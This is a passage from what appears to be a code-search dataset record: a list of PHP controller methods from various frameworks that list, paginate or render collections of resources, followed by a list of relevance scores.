$message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Store a newly created resource in storage.
public function store(OrderStoreRequest $request) { $order = new Order(); $order->fill($request->all()); $order->products_json = $order->convertProductsJsonToOrder($request->products_json); $order->status = 'not paid'; $intent = $order->stripePay(); $order->payment = $intent->id; $order->amount = $request->amount; $order->save(); return response()->json(['client_key' => $intent->client_secret]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show(Order $order) { $settings = Setting::where('title','currency') ->get() ->pluck('value', 'title'); $products = json_decode($order->products_json, true); return view('admin.orders.show', compact('order', 'products', 'settings')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo 